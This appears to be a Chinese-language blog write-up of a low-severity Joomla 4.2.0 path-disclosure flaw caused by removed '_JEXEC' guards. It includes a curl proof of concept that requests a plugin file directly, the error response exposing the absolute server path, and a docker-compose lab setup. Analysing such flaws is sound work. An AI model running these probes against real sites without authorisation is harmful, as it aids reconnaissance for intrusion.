0.漏洞描述
An issue was discovered in Joomla! 4.2.0. Multiple Full Path Disclosures because of missing ‘_JEXEC or die check’ caused by the PSR12 changes.
危害等级:低危
1. 漏洞原因
漏洞的修复PR链接:https://github.com/joomla/joomla-cms/pull/38615 从这个链接了可以看到作者的描述。
As part of the PSR-12 pull request I removed almost all checks for directly directly executing files which only includes symbol definitions (functions, classes, interfaces…). This has been done to fit the PSR1.Files.SideEffects.FoundWithSymbols rule.
Sadly I assumed the coding standard would also take security serious (in this case path disclosure).
在对joomla-cms执行PSR-12标准的时候,考虑不周导致了一个路径报错泄漏的问题。
修复方案也非常简单粗暴,对所有文件的开头都进行了检查,一共修改了1000+的文件。
defined('_JEXEC') or die;
这个_JEXEC 是什么呢,Google一下之后查到,其实就是 Joomla的一个运行时的标记,在index.php里会设置这个上下文变量。引用链接。
这段代码的判断也很明显,如果不是从index.php里执行的这段代码的话,直接退出程序。
我对PHP不太熟悉,对PSR-12标准更是没了解过,这个就不深究了。
2. 漏洞复现
PR链接里提到过复现方式:
A simple demonstration:
class a extends \Joomla\CMS\MVC\Model\AdminModel {}
This simple code would thru the following error message if you directly open the file with the webbrowser:
Fatal error: Uncaught Error: Class ‘Joomla\CMS\MVC\Model\AdminModel’ not found in /web//a.php:1
Stack trace: #0 {main} thrown in /web//a.php on line 1
看了一下,感觉有一点鸡肋。主要是因为需要开启PHP的error_log. (设置display_errors=On),大部分的生产环境应该都是没有开这个的。
但是作者给到的这个案例不太符合真实的攻击场景。新建一个可能产生报错的a.php,显然只是一个POC,不会产生真实的危害。
这里尝试直接访问插件物理路径的方式,成功报错,暴露网页的绝对路径。
POC如下:
➜ ~ curl http://xxxxx:8110/plugins/editors/codemirror/codemirror.php -vv
* Trying xxxxx:8110...
* Connected to xx.heike.cloud (43.131.50.200) port 8110 (#0)
> GET /plugins/editors/codemirror/codemirror.php HTTP/1.1
> Host: xxxxx:8110
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 31 Aug 2022 14:12:42 GMT
< Server: Apache
< X-Content-Type-Options: nosniff
< Vary: Accept-Encoding
< Content-Length: 288
< Content-Type: text/html; charset=UTF-8
<
<br />
<b>Fatal error</b>: Uncaught Error: Class "Joomla\CMS\Plugin\CMSPlugin" not found in /bitnami/joomla/plugins/editors/codemirror/codemirror.php:23
Stack trace:
#0 {main}
thrown in <b>/bitnami/joomla/plugins/editors/codemirror/codemirror.php</b> on line <b>23</b><br />
docker-compose.yml 文件
version: '2'
services:
mariadb:
image: docker.io/bitnami/mariadb:10.6
environment:
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
- MARIADB_USER=bn_joomla
- MARIADB_DATABASE=bitnami_joomla
volumes:
- 'mariadb_data:/bitnami/mariadb'
joomla:
image: docker.io/bitnami/joomla:4.2.0
ports:
- '8110:8080'
- '4243:8443'
environment:
- JOOMLA_DATABASE_HOST=mariadb
- JOOMLA_DATABASE_PORT_NUMBER=3306
- JOOMLA_DATABASE_USER=bn_joomla
- JOOMLA_DATABASE_NAME=bitnami_joomla
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
volumes:
- 'joomla_data:/bitnami/joomla'
depends_on:
- mariadb
volumes:
mariadb_data:
driver: local
joomla_data:
driver: local
需要手动更改 php.ini文件中的display_errors=On 之后重启docker镜像。
3. 此类问题,有无自动化发现方法?
理论上是可行的,常见的PHP的框架或许都可能存在这个问题。
有待继续研究,但是生命第一位,先洗漱睡觉去~
4. 从供应链的角度分析,产生多大的影响面?
可以从Docker镜像的角度入手,
有待继续研究,但是生命第一位,先洗漱睡觉去~
5. 流量和终端产品是否有好的防御方案?
有待继续研究,但是生命第一位,先洗漱睡觉去~